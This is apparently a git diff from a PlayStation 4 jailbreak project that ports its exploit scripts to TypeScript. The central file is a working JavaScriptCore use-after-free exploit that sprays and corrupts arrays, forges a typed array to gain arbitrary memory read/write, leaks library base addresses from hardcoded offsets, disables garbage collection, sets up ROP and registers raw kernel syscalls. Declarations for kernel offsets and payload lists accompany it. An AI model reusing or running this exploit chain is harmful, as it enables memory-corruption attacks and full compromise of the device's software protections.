log('[STATS] Total: ' + current.total)
|
||||||
log('[STATS] Success: ' + current.success)
|
log('[STATS] Success: ' + current.success)
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Executable → Regular
+53
-50
@@ -1,23 +1,25 @@
|
|||||||
|
import { BigInt, fn, mem, rop, syscalls, utils } from 'download0/types'
|
||||||
|
import { make_uaf } from 'download0/defs'
|
||||||
|
|
||||||
include('types.js')
|
include('types.js')
|
||||||
include('defs.js')
|
include('defs.js')
|
||||||
|
|
||||||
// needed for arw
|
// needed for arw
|
||||||
var u32_structs
|
const u32_structs: Uint32Array[] = new Array(0x100)
|
||||||
var spray_size = 0x100
|
const spray_size = 0x100
|
||||||
var marked_arr_offset = -1
|
let marked_arr_offset = -1
|
||||||
var corrupted_arr_idx = -1
|
let corrupted_arr_idx = -1
|
||||||
var marker = new BigInt(0xFFFF0000, 0x13371337)
|
const marker = new BigInt(0xFFFF0000, 0x13371337)
|
||||||
var indexing_header = new BigInt(spray_size, spray_size)
|
const indexing_header = new BigInt(spray_size, spray_size)
|
||||||
|
|
||||||
// used for arw
|
// used for arw
|
||||||
var master, slave, master_addr, slave_addr, slave_buf_addr
|
let master: Uint32Array | undefined
|
||||||
|
const slave: DataView = new DataView(new ArrayBuffer(0x30))
|
||||||
// used for addrof/fakeobj
|
let master_addr: BigInt = new BigInt(0)
|
||||||
var leak_obj, leak_obj_addr
|
|
||||||
|
|
||||||
log('Initiate UAF...')
|
log('Initiate UAF...')
|
||||||
|
|
||||||
var uaf_view = new DataView(new ArrayBuffer(0x100000))
|
const uaf_view = new DataView(new ArrayBuffer(0x100000))
|
||||||
|
|
||||||
uaf_view.setUint32(0x10, 0xB0, true)
|
uaf_view.setUint32(0x10, 0xB0, true)
|
||||||
|
|
||||||
@@ -27,14 +29,14 @@ log('Achieved UAF !!')
|
|||||||
|
|
||||||
log('Spraying arrays with marker...')
|
log('Spraying arrays with marker...')
|
||||||
// spray candidates arrays to be used as leak primitive
|
// spray candidates arrays to be used as leak primitive
|
||||||
var spray = new Array(0x1000)
|
const spray = new Array(0x1000)
|
||||||
for (var i = 0; i < spray.length; i++) {
|
for (let i = 0; i < spray.length; i++) {
|
||||||
spray[i] = new Array(spray_size).fill(0x13371337)
|
spray[i] = new Array(spray_size).fill(0x13371337)
|
||||||
}
|
}
|
||||||
|
|
||||||
log('Looking for marked array...')
|
log('Looking for marked array...')
|
||||||
// find sprayed candidate by marker then corrupt its length
|
// find sprayed candidate by marker then corrupt its length
|
||||||
for (var i = 8; i < uaf_view.byteLength; i += 16) {
|
for (let i = 8; i < uaf_view.byteLength; i += 16) {
|
||||||
if (uaf_view.getBigInt(i - 8, true).eq(indexing_header) &&
|
if (uaf_view.getBigInt(i - 8, true).eq(indexing_header) &&
|
||||||
uaf_view.getBigInt(i, true).eq(marker)) {
|
uaf_view.getBigInt(i, true).eq(marker)) {
|
||||||
log(`Found marker at uaf_view[${i}] !!`)
|
log(`Found marker at uaf_view[${i}] !!`)
|
||||||
@@ -43,7 +45,7 @@ for (var i = 8; i < uaf_view.byteLength; i += 16) {
|
|||||||
|
|
||||||
log(`Marked indexing header ${uaf_view.getBigInt(marked_arr_offset, true)}`)
|
log(`Marked indexing header ${uaf_view.getBigInt(marked_arr_offset, true)}`)
|
||||||
|
|
||||||
var corrupted_indexing_header = new BigInt(0x1337, 0x1337)
|
const corrupted_indexing_header = new BigInt(0x1337, 0x1337)
|
||||||
|
|
||||||
log('Corrupting marked array length...')
|
log('Corrupting marked array length...')
|
||||||
// corrupt indexing header
|
// corrupt indexing header
|
||||||
@@ -57,7 +59,7 @@ if (marked_arr_offset === -1) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// find index of corrupted array
|
// find index of corrupted array
|
||||||
for (var i = 0; i < spray.length; i++) {
|
for (let i = 0; i < spray.length; i++) {
|
||||||
if (spray[i].length === 0x1337) {
|
if (spray[i].length === 0x1337) {
|
||||||
log(`Found corrupted array at spray[${i}] !!`)
|
log(`Found corrupted array at spray[${i}] !!`)
|
||||||
log(`Corrupted array length ${new BigInt(spray[i].length)}`)
|
log(`Corrupted array length ${new BigInt(spray[i].length)}`)
|
||||||
@@ -73,31 +75,30 @@ if (corrupted_arr_idx === -1) {
|
|||||||
|
|
||||||
log('Initiate ARW...')
|
log('Initiate ARW...')
|
||||||
|
|
||||||
var marked_arr_obj_offset = marked_arr_offset + 0x10
|
const marked_arr_obj_offset = marked_arr_offset + 0x10
|
||||||
|
|
||||||
slave = new DataView(new ArrayBuffer(0x30))
|
|
||||||
slave.setUint32(0, 0x13371337, true)
|
slave.setUint32(0, 0x13371337, true)
|
||||||
|
|
||||||
// leak address of leak_obj
|
// leak address of leak_obj
|
||||||
leak_obj = { obj: slave }
|
const leak_obj = { obj: slave }
|
||||||
|
|
||||||
spray[corrupted_arr_idx][1] = leak_obj
|
spray[corrupted_arr_idx][1] = leak_obj
|
||||||
|
|
||||||
leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
const leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||||
|
|
||||||
// store Uint32Array structure ids to be used for fake master id later
|
// store Uint32Array structure ids to be used for fake master id later
|
||||||
u32_structs = new Array(0x100)
|
for (let i = 0; i < u32_structs.length; i++) {
|
||||||
for (var i = 0; i < u32_structs.length; i++) {
|
|
||||||
u32_structs[i] = new Uint32Array(1)
|
u32_structs[i] = new Uint32Array(1)
|
||||||
|
// @ts-expect-error explicitly create property in Uint32Array
|
||||||
u32_structs[i][`spray_${i}`] = 0x1337
|
u32_structs[i][`spray_${i}`] = 0x1337
|
||||||
}
|
}
|
||||||
|
|
||||||
var js_cell = new BigInt()
|
let js_cell = new BigInt()
|
||||||
var length_and_flags = new BigInt(1, 0x30)
|
const length_and_flags = new BigInt(1, 0x30)
|
||||||
var rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
|
const rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
|
||||||
|
|
||||||
// try faking Uint32Array master by incremental structure_id until it matches from one of sprayed earlier in structs array
|
// try faking Uint32Array master by incremental structure_id until it matches from one of sprayed earlier in structs array
|
||||||
var structure_id = 0x80
|
let structure_id = 0x80
|
||||||
while (!(master instanceof Uint32Array)) {
|
while (!(master instanceof Uint32Array)) {
|
||||||
js_cell = new BigInt(
|
js_cell = new BigInt(
|
||||||
0x00 | // IndexingType::NonArray
|
0x00 | // IndexingType::NonArray
|
||||||
@@ -111,7 +112,7 @@ while (!(master instanceof Uint32Array)) {
|
|||||||
|
|
||||||
spray[corrupted_arr_idx][1] = rw_obj
|
spray[corrupted_arr_idx][1] = rw_obj
|
||||||
|
|
||||||
var rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
const rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
|
||||||
|
|
||||||
master_addr = rw_obj_addr.add(0x10)
|
master_addr = rw_obj_addr.add(0x10)
|
||||||
|
|
||||||
@@ -120,7 +121,7 @@ while (!(master instanceof Uint32Array)) {
|
|||||||
master = spray[corrupted_arr_idx][1]
|
master = spray[corrupted_arr_idx][1]
|
||||||
}
|
}
|
||||||
|
|
||||||
slave_addr = mem.addrof(slave)
|
const slave_addr = mem.addrof(slave)
|
||||||
|
|
||||||
// Fix master
|
// Fix master
|
||||||
mem.view(master_addr).setBigInt(8, 0, true)
|
mem.view(master_addr).setBigInt(8, 0, true)
|
||||||
@@ -131,52 +132,52 @@ mem.view(slave_addr).setUint8(6, 0xA0) // TypeInfo::InlineTypeFlags::OverridesGe
|
|||||||
mem.view(slave_addr).setInt32(0x18, -1, true)
|
mem.view(slave_addr).setInt32(0x18, -1, true)
|
||||||
mem.view(slave_addr).setInt32(0x1C, 1, true)
|
mem.view(slave_addr).setInt32(0x1C, 1, true)
|
||||||
|
|
||||||
var slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
|
const slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
|
||||||
mem.view(slave_buf_addr).setInt32(0x20, -1, true)
|
mem.view(slave_buf_addr).setInt32(0x20, -1, true)
|
||||||
|
|
||||||
log('Achieved ARW !!')
|
log('Achieved ARW !!')
|
||||||
|
|
||||||
var math_min_addr = mem.addrof(Math.min)
|
const math_min_addr = mem.addrof(Math.min)
|
||||||
debug(`addrof(Math.min): ${math_min_addr}`)
|
debug(`addrof(Math.min): ${math_min_addr}`)
|
||||||
|
|
||||||
var scope = mem.view(math_min_addr).getBigInt(0x10, true)
|
const scope = mem.view(math_min_addr).getBigInt(0x10, true)
|
||||||
debug(`scope: ${scope}`)
|
debug(`scope: ${scope}`)
|
||||||
|
|
||||||
var native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
|
const native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
|
||||||
debug(`native_executable: ${native_executable}`)
|
debug(`native_executable: ${native_executable}`)
|
||||||
|
|
||||||
var native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
|
const native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
|
||||||
debug(`native_executable_function: ${native_executable_function}`)
|
debug(`native_executable_function: ${native_executable_function}`)
|
||||||
|
|
||||||
var native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
|
const native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
|
||||||
debug(`native_executable_constructor: ${native_executable_constructor}`)
|
debug(`native_executable_constructor: ${native_executable_constructor}`)
|
||||||
|
|
||||||
var jsc_addr = native_executable_function.sub(0xC6380)
|
const jsc_addr = native_executable_function.sub(0xC6380)
|
||||||
|
|
||||||
var _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
|
const _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
|
||||||
debug(`_error_addr: ${_error_addr}`)
|
debug(`_error_addr: ${_error_addr}`)
|
||||||
|
|
||||||
var strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
|
const strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
|
||||||
debug(`strerror_addr: ${strerror_addr}`)
|
debug(`strerror_addr: ${strerror_addr}`)
|
||||||
|
|
||||||
var libc_addr = strerror_addr.sub(0x40410)
|
const libc_addr = strerror_addr.sub(0x40410)
|
||||||
|
|
||||||
var jsmaf_gc_addr = mem.addrof(jsmaf.gc)
|
const jsmaf_gc_addr = mem.addrof(jsmaf.gc)
|
||||||
debug(`addrof(jsmaf.gc): ${jsmaf_gc_addr}`)
|
debug(`addrof(jsmaf.gc): ${jsmaf_gc_addr}`)
|
||||||
|
|
||||||
var native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
|
const native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
|
||||||
debug(`native_invoke_addr: ${native_invoke_addr}`)
|
debug(`native_invoke_addr: ${native_invoke_addr}`)
|
||||||
|
|
||||||
var eboot_addr = native_invoke_addr.sub(0x39330)
|
const eboot_addr = native_invoke_addr.sub(0x39330)
|
||||||
|
|
||||||
mem.view(jsc_addr).setUint32(0x1E75B20, 1, true)
|
mem.view(jsc_addr).setUint32(0x1E75B20, 1, true)
|
||||||
log('Disabled GC')
|
log('Disabled GC')
|
||||||
|
|
||||||
rop.init(jsc_addr)
|
rop.init(jsc_addr)
|
||||||
|
|
||||||
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', 'bigint')
|
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', ['bigint'], 'bigint')
|
||||||
|
|
||||||
var libkernel_addr = utils.base_addr(_error_addr)
|
const libkernel_addr = utils.base_addr(_error_addr)
|
||||||
|
|
||||||
log(`jsc address: ${jsc_addr}`)
|
log(`jsc address: ${jsc_addr}`)
|
||||||
log(`libc address: ${libc_addr}`)
|
log(`libc address: ${libc_addr}`)
|
||||||
@@ -187,12 +188,14 @@ syscalls.init(libkernel_addr)
|
|||||||
|
|
||||||
debug(`Found ${syscalls.map.size} syscalls`)
|
debug(`Found ${syscalls.map.size} syscalls`)
|
||||||
|
|
||||||
fn.register(_error_addr, '_error', 'bigint')
|
fn.register(_error_addr, '_error', [], 'bigint')
|
||||||
fn.register(strerror_addr, 'strerror', 'string')
|
fn.register(strerror_addr, 'strerror', ['bigint'], 'string')
|
||||||
fn.register(0x14, 'getpid', 'bigint')
|
fn.register(0x14, 'getpid', [], 'bigint')
|
||||||
fn.register(0x29, 'dup', 'bigint')
|
fn.register(0x29, 'dup', ['bigint'], 'bigint')
|
||||||
fn.register(0x4, 'write', 'bigint')
|
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||||
fn.register(0x5, 'open', 'bigint')
|
fn.register(0x5, 'open', ['bigint', 'number', 'number'], 'bigint')
|
||||||
fn.register(0x6, 'close', 'bigint')
|
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||||
|
|
||||||
// utils.notify('UwU')
|
// utils.notify('UwU')
|
||||||
|
|
||||||
|
export { jsc_addr, libc_addr, libkernel_addr, eboot_addr }
|
||||||
Vendored
+114
@@ -0,0 +1,114 @@
|
|||||||
|
type TypedArray = Uint8Array | Uint16Array | Uint32Array | Int8Array | Int16Array | Int32Array | Float32Array | Float64Array
|
||||||
|
|
||||||
|
declare function log (message: string): void
|
||||||
|
declare function debug (message: string): void
|
||||||
|
declare function include (path: string): void
|
||||||
|
|
||||||
|
declare var u32_structs: Uint32Array[]
|
||||||
|
declare var spray_size: 0x100
|
||||||
|
declare var marked_arr_offset: number
|
||||||
|
declare var corrupted_arr_idx: number
|
||||||
|
declare var marker: import('download0/types').BigInt
|
||||||
|
declare var indexing_header: import('download0/types').BigInt
|
||||||
|
|
||||||
|
declare var master: Uint32Array, slave: DataView, master_addr: import('download0/types').BigInt, slave_addr: import('download0/types').BigInt, slave_buf_addr: import('download0/types').BigInt
|
||||||
|
|
||||||
|
declare var leak_obj: Record<string, unknown>, leak_obj_addr: import('download0/types').BigInt
|
||||||
|
|
||||||
|
declare var native_executable: import('download0/types').BigInt
|
||||||
|
declare var scope: import('download0/types').BigInt
|
||||||
|
|
||||||
|
declare var debugging: {
|
||||||
|
info: {
|
||||||
|
memory: {
|
||||||
|
available: number
|
||||||
|
available_dmem: number
|
||||||
|
available_libc: number
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} | undefined
|
||||||
|
|
||||||
|
declare var is_jailbroken: boolean
|
||||||
|
|
||||||
|
declare var CONFIG: {
|
||||||
|
autolapse?: boolean;
|
||||||
|
autopoop?: boolean;
|
||||||
|
autoclose?: boolean;
|
||||||
|
} | undefined
|
||||||
|
|
||||||
|
declare var payloads: string[] | undefined
|
||||||
|
|
||||||
|
declare var kernel_offset: (typeof import('download0/kernel').ps4_kernel_offset_list[keyof typeof import('download0/kernel').ps4_kernel_offset_list]) & {
|
||||||
|
PROC_FD?: number,
|
||||||
|
PROC_PID?: number,
|
||||||
|
PROC_VM_SPACE?: number,
|
||||||
|
PROC_UCRED?: number,
|
||||||
|
PROC_COMM?: number,
|
||||||
|
PROC_SYSENT?: number,
|
||||||
|
FILEDESC_OFILES?: number,
|
||||||
|
SIZEOF_OFILES?: number,
|
||||||
|
VMSPACE_VM_PMAP?: number,
|
||||||
|
PMAP_CR3?: number,
|
||||||
|
SO_PCB?: number,
|
||||||
|
INPCB_PKTOPTS?: number,
|
||||||
|
IP6PO_TCLASS?: number,
|
||||||
|
IP6PO_RTHDR?: number,
|
||||||
|
} | null
|
||||||
|
|
||||||
|
declare class Image {
|
||||||
|
url: string
|
||||||
|
alpha: number
|
||||||
|
x: number
|
||||||
|
y: number
|
||||||
|
width: number
|
||||||
|
height: number
|
||||||
|
visible: boolean
|
||||||
|
borderColor: string
|
||||||
|
borderWidth: number
|
||||||
|
background: string
|
||||||
|
color: string
|
||||||
|
scaleX: number
|
||||||
|
scaleY: number
|
||||||
|
|
||||||
|
constructor (options: {
|
||||||
|
url: string
|
||||||
|
x: number
|
||||||
|
y: number
|
||||||
|
width: number
|
||||||
|
height: number
|
||||||
|
visible?: boolean
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
declare class Style {
|
||||||
|
constructor (options: {
|
||||||
|
name: string
|
||||||
|
color: string
|
||||||
|
size: number
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
declare class Video {
|
||||||
|
duration: number
|
||||||
|
visible: boolean
|
||||||
|
elapsed: number
|
||||||
|
|
||||||
|
onOpen: () => void
|
||||||
|
onerror: (err: string) => void
|
||||||
|
onstatechange: (state: string) => void
|
||||||
|
|
||||||
|
constructor (options: {
|
||||||
|
x: number
|
||||||
|
y: number
|
||||||
|
width: number
|
||||||
|
height: number
|
||||||
|
visible: boolean
|
||||||
|
autoplay: boolean
|
||||||
|
})
|
||||||
|
play (): void
|
||||||
|
open (url: string): void
|
||||||
|
close (): void
|
||||||
|
}
|
||||||
|
|
||||||
|
declare var bg_success: Image
|
||||||
|
declare var bg_fail: Image
|
||||||
Vendored
+76
@@ -0,0 +1,76 @@
|
|||||||
|
declare namespace jsmaf {
|
||||||
|
declare class Text {
|
||||||
|
x: number
|
||||||
|
y: number
|
||||||
|
background: string
|
||||||
|
url: string
|
||||||
|
text: string
|
||||||
|
color: string
|
||||||
|
alpha: number
|
||||||
|
style: string
|
||||||
|
scaleX: number
|
||||||
|
scaleY: number
|
||||||
|
|
||||||
|
constructor (options?: {
|
||||||
|
x?: number
|
||||||
|
y?: number
|
||||||
|
width?: number
|
||||||
|
height?: number
|
||||||
|
text?: string
|
||||||
|
color?: string
|
||||||
|
background?: string
|
||||||
|
fontSize?: number
|
||||||
|
style?: string
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
declare class WebSocketServer {
|
||||||
|
port: number
|
||||||
|
onmessage: (clientID: number, data: string) => void
|
||||||
|
|
||||||
|
constructor ()
|
||||||
|
broadcast (data: string): void
|
||||||
|
}
|
||||||
|
|
||||||
|
declare class AudioClip {
|
||||||
|
volume: number
|
||||||
|
|
||||||
|
constructor ()
|
||||||
|
open (url: string): void
|
||||||
|
}
|
||||||
|
|
||||||
|
declare class XMLHttpRequest {
|
||||||
|
readyState: number
|
||||||
|
status: number
|
||||||
|
responseText: string
|
||||||
|
onreadystatechange: () => void
|
||||||
|
|
||||||
|
constructor ()
|
||||||
|
open (method: string, url: string, async: boolean): void
|
||||||
|
send (data?: string): void
|
||||||
|
}
|
||||||
|
|
||||||
|
declare type Element = Text | Image | Video
|
||||||
|
|
||||||
|
declare namespace root {
|
||||||
|
declare const children: Element[]
|
||||||
|
}
|
||||||
|
|
||||||
|
declare function eval (code: string): unknown
|
||||||
|
|
||||||
|
declare var gc: unknown
|
||||||
|
|
||||||
|
declare var locale: string
|
||||||
|
|
||||||
|
declare function clearInterval (intervalID: number): void
|
||||||
|
declare function setInterval (handler: () => void, timeout: number): number
|
||||||
|
|
||||||
|
declare function exit (): void
|
||||||
|
|
||||||
|
declare var onEnterFrame: (() => void) | null
|
||||||
|
declare var onKeyDown: ((keyCode: number) => void) | null
|
||||||
|
|
||||||
|
declare var remotePlay: boolean
|
||||||
|
|
||||||
|
declare function openWebBrowser (url: string): void
|
||||||
|
}
|
||||||
+6
-3
@@ -3,12 +3,14 @@
|
|||||||
// Environment setup & latest features
|
// Environment setup & latest features
|
||||||
"lib": ["ES5", "ES2015.Collection", "ES2015.Core"],
|
"lib": ["ES5", "ES2015.Collection", "ES2015.Core"],
|
||||||
"target": "es5",
|
"target": "es5",
|
||||||
"module": "Preserve",
|
"module": "es2015",
|
||||||
"moduleDetection": "force",
|
// "allowJs": true,
|
||||||
"allowJs": true,
|
"baseUrl": "./src",
|
||||||
|
|
||||||
// Bundler mode
|
// Bundler mode
|
||||||
"moduleResolution": "bundler",
|
"moduleResolution": "bundler",
|
||||||
|
"esModuleInterop": true,
|
||||||
|
"isolatedModules": true,
|
||||||
"verbatimModuleSyntax": true,
|
"verbatimModuleSyntax": true,
|
||||||
"outDir": "./dist",
|
"outDir": "./dist",
|
||||||
|
|
||||||
@@ -25,4 +27,5 @@
|
|||||||
"noPropertyAccessFromIndexSignature": false
|
"noPropertyAccessFromIndexSignature": false
|
||||||
},
|
},
|
||||||
"include": ["**/*.ts", "**/*.js", "**/*.js.aes"],
|
"include": ["**/*.ts", "**/*.js", "**/*.js.aes"],
|
||||||
|
"exclude": ["eslint.config.ts"]
|
||||||
}
|
}
|
||||||
|
|||||||
Vendored
-240
@@ -1,240 +0,0 @@
|
|||||||
declare namespace vue {
|
|
||||||
declare class BigInt {
|
|
||||||
buf: ArrayBuffer
|
|
||||||
i8: Int8Array
|
|
||||||
u8: Uint8Array
|
|
||||||
i16: Int16Array
|
|
||||||
u16: Uint16Array
|
|
||||||
i32: Int32Array
|
|
||||||
u32: Uint32Array
|
|
||||||
f32: Float32Array
|
|
||||||
f64: Float64Array
|
|
||||||
|
|
||||||
static readonly Zero: BigInt
|
|
||||||
static readonly One: BigInt
|
|
||||||
static readonly TYPE_MAP: {
|
|
||||||
Int8Array: 'i8',
|
|
||||||
Uint8Array: 'u8',
|
|
||||||
Int16Array: 'i16',
|
|
||||||
Uint16Array: 'u16',
|
|
||||||
Int32Array: 'i32',
|
|
||||||
Uint32Array: 'u32',
|
|
||||||
Float32Array: 'f32',
|
|
||||||
Float64Array: 'f64',
|
|
||||||
}
|
|
||||||
|
|
||||||
constructor ()
|
|
||||||
constructor (value: number | string | BigInt | ArrayLike<number>)
|
|
||||||
constructor (hi: number, lo: number)
|
|
||||||
|
|
||||||
toString (): string
|
|
||||||
endian (): void
|
|
||||||
lo (): number
|
|
||||||
hi (): number
|
|
||||||
d (): number
|
|
||||||
jsv (): BigInt
|
|
||||||
cmp (val: BigInt): -1 | 0 | 1
|
|
||||||
eq (val: BigInt): boolean
|
|
||||||
neq (val: BigInt): boolean
|
|
||||||
gt (val: BigInt): boolean
|
|
||||||
gte (val: BigInt): boolean
|
|
||||||
lt (val: BigInt): boolean
|
|
||||||
lte (val: BigInt): boolean
|
|
||||||
add (val: BigInt): BigInt
|
|
||||||
sub (val: BigInt): BigInt
|
|
||||||
mul (val: BigInt): BigInt
|
|
||||||
divmod (val: BigInt): { q: BigInt, r: BigInt }
|
|
||||||
div (val: BigInt): BigInt
|
|
||||||
mod (val: BigInt): BigInt
|
|
||||||
xor (val: BigInt): BigInt
|
|
||||||
and (val: BigInt): BigInt
|
|
||||||
or (val: BigInt): BigInt
|
|
||||||
neg (): BigInt
|
|
||||||
shl (count: number): BigInt
|
|
||||||
shr (count: number): BigInt
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
declare global {
|
|
||||||
interface DataView {
|
|
||||||
getBigInt (byteOffset: number, littleEndian?: boolean): vue.BigInt
|
|
||||||
setBigInt (byteOffset: number, value: vue.BigInt, littleEndian?: boolean): void
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
type NonPointerTypes = `${'Int' | 'Uint'}${8 | 16 | 32 | 64}`
|
|
||||||
type PointerTypes = `${NonPointerTypes}*`
|
|
||||||
|
|
||||||
type StructName<T> = T extends `${infer Name}[${string}]` ? Name : T
|
|
||||||
type StructCount<T> = T extends { count: infer C extends number } ? C :
|
|
||||||
T extends { name: `${string}[${infer C extends number}]` } ? C :
|
|
||||||
1
|
|
||||||
|
|
||||||
interface BaseStructField {
|
|
||||||
size?: number
|
|
||||||
offset?: number
|
|
||||||
}
|
|
||||||
|
|
||||||
interface PointerStructField extends BaseStructField {
|
|
||||||
name: string
|
|
||||||
type: PointerTypes
|
|
||||||
pointer?: true
|
|
||||||
count?: never
|
|
||||||
}
|
|
||||||
|
|
||||||
interface NonPointerStructFieldWithCountName extends BaseStructField {
|
|
||||||
name: `${string}[${number}]`
|
|
||||||
type: NonPointerTypes
|
|
||||||
pointer?: false
|
|
||||||
count?: number
|
|
||||||
}
|
|
||||||
|
|
||||||
interface NonPointerStructFieldWithCount extends BaseStructField {
|
|
||||||
name: name
|
|
||||||
type: NonPointerTypes
|
|
||||||
pointer?: false
|
|
||||||
count: number
|
|
||||||
}
|
|
||||||
|
|
||||||
interface NonPointerStructField extends BaseStructField {
|
|
||||||
name: name
|
|
||||||
type: NonPointerTypes
|
|
||||||
pointer?: false
|
|
||||||
count?: 1
|
|
||||||
}
|
|
||||||
|
|
||||||
type StructField = PointerStructField | NonPointerStructFieldWithCount | NonPointerStructFieldWithCountName | NonPointerStructField
|
|
||||||
|
|
||||||
type StructReturnType<const T extends StructField> =
|
|
||||||
StructCount<T> extends (1 | undefined) ? (
|
|
||||||
T['pointer'] extends true ? vue.BigInt :
|
|
||||||
T['type'] extends 'Int64' ? vue.BigInt :
|
|
||||||
T['type'] extends 'Uint64' ? vue.BigInt :
|
|
||||||
number
|
|
||||||
) : (
|
|
||||||
T['type'] extends 'Int8' ? Int8Array :
|
|
||||||
T['type'] extends 'Uint8' ? Uint8Array :
|
|
||||||
T['type'] extends 'Int16' ? Int16Array :
|
|
||||||
T['type'] extends 'Uint16' ? Uint16Array :
|
|
||||||
T['type'] extends 'Int32' ? Int32Array :
|
|
||||||
T['type'] extends 'Uint32' ? Uint32Array :
|
|
||||||
T['type'] extends 'Int64' ? Int32Array :
|
|
||||||
T['type'] extends 'Uint64' ? Uint32Array :
|
|
||||||
never
|
|
||||||
)
|
|
||||||
|
|
||||||
type StructInstance<const T extends readonly StructField[]> = {
|
|
||||||
[K in T[number] as StructName<K['name']>]: StructReturnType<K>
|
|
||||||
} & {
|
|
||||||
addr: vue.BigInt
|
|
||||||
}
|
|
||||||
|
|
||||||
interface StructConstructor<const Name extends string, const T extends readonly StructField[]> {
|
|
||||||
new (addr: vue.BigInt): StructInstance<T>
|
|
||||||
|
|
||||||
readonly tname: Name
|
|
||||||
readonly sizeof: number
|
|
||||||
readonly fields: T
|
|
||||||
}
|
|
||||||
|
|
||||||
declare type Struct = {
|
|
||||||
create<const Name extends string, const T extends StructField[]>(name: Name, fields: T): StructConstructor<Name, T>
|
|
||||||
}
|
|
||||||
|
|
||||||
declare type Mem = {
|
|
||||||
allocs: Map<vue.BigInt, ArrayBufferLike>
|
|
||||||
read8 (addr: vue.BigInt): vue.BigInt
|
|
||||||
read4 (addr: vue.BigInt): vue.BigInt
|
|
||||||
write8 (addr: vue.BigInt, value: vue.BigInt): void
|
|
||||||
write4 (addr: vue.BigInt, value: vue.BigInt): void
|
|
||||||
write1 (addr: vue.BigInt, value: vue.BigInt): void
|
|
||||||
addrof (obj: unknown): vue.BigInt
|
|
||||||
fakeobj (addr: vue.BigInt): unknown
|
|
||||||
malloc (size: number): vue.BigInt
|
|
||||||
free (addr: vue.BigInt): void
|
|
||||||
free_all (): void
|
|
||||||
}
|
|
||||||
|
|
||||||
declare type Utils = {
|
|
||||||
base_addr (func_addr: vue.BigInt): vue.BigInt
|
|
||||||
notify (msg: string): void
|
|
||||||
str (addr: vue.BigInt): string
|
|
||||||
cstr (str: string): vue.BigInt
|
|
||||||
get_backing (view: ArrayBufferLike): vue.BigInt
|
|
||||||
set_backing (view: ArrayBufferLike, addr: vue.BigInt): void
|
|
||||||
}
|
|
||||||
|
|
||||||
declare type Rop = {
|
|
||||||
init (): void
|
|
||||||
free (): void
|
|
||||||
reset (): void
|
|
||||||
push (val: vue.BigInt): void
|
|
||||||
execute (insts: vue.BigInt[], store_addr: vue.BigInt, store_size: number): void
|
|
||||||
fake_builtin (addr: vue.BigInt): (useless1: number, useless2: number, useless3: number, addr: vue.BigInt) => void
|
|
||||||
store (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
|
|
||||||
load (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
|
|
||||||
}
|
|
||||||
|
|
||||||
type ArgTypeToRealType<T> = T extends 'bigint' ? vue.BigInt :
|
|
||||||
T extends 'boolean' ? boolean :
|
|
||||||
T extends 'number' ? number :
|
|
||||||
T extends 'string' ? string :
|
|
||||||
never
|
|
||||||
|
|
||||||
declare type Fn = {
|
|
||||||
create <const Args extends ('bigint' | 'number' | 'boolean' | 'string')[], Return extends ('bigint' | 'boolean' | 'string')>(addr: vue.BigInt | number, args: Args, ret: Return): (...func_args: { [K in keyof Args]: ArgTypeToRealType<Args[K]> }) => ArgTypeToRealType<Return>
|
|
||||||
}
|
|
||||||
|
|
||||||
declare type Fs = {
|
|
||||||
stat (path: string): StructInstance<[
|
|
||||||
{ name: 'st_dev', type: 'Uint32' },
|
|
||||||
{ name: 'st_ino', type: 'Uint32' },
|
|
||||||
{ name: 'st_mode', type: 'Uint16' },
|
|
||||||
{ name: 'st_nlink', type: 'Uint16' },
|
|
||||||
{ name: 'st_uid', type: 'Uint32' },
|
|
||||||
{ name: 'st_gid', type: 'Uint32' },
|
|
||||||
{ name: 'st_rdev', type: 'Uint32' },
|
|
||||||
{ name: 'st_atim_sec', type: 'Int64' },
|
|
||||||
{ name: 'st_atim_nsec', type: 'Int64' },
|
|
||||||
{ name: 'st_mtim_sec', type: 'Int64' },
|
|
||||||
{ name: 'st_mtim_nsec', type: 'Int64' },
|
|
||||||
{ name: 'st_ctim_sec', type: 'Int64' },
|
|
||||||
{ name: 'st_ctim_nsec', type: 'Int64' },
|
|
||||||
{ name: 'st_size', type: 'Int64' },
|
|
||||||
{ name: 'st_blocks', type: 'Int64' },
|
|
||||||
{ name: 'st_blksize', type: 'Uint32' },
|
|
||||||
{ name: 'st_flags', type: 'Uint32' },
|
|
||||||
{ name: 'st_gen', type: 'Uint32' },
|
|
||||||
{ name: 'st_birthtim_sec', type: 'Int64' },
|
|
||||||
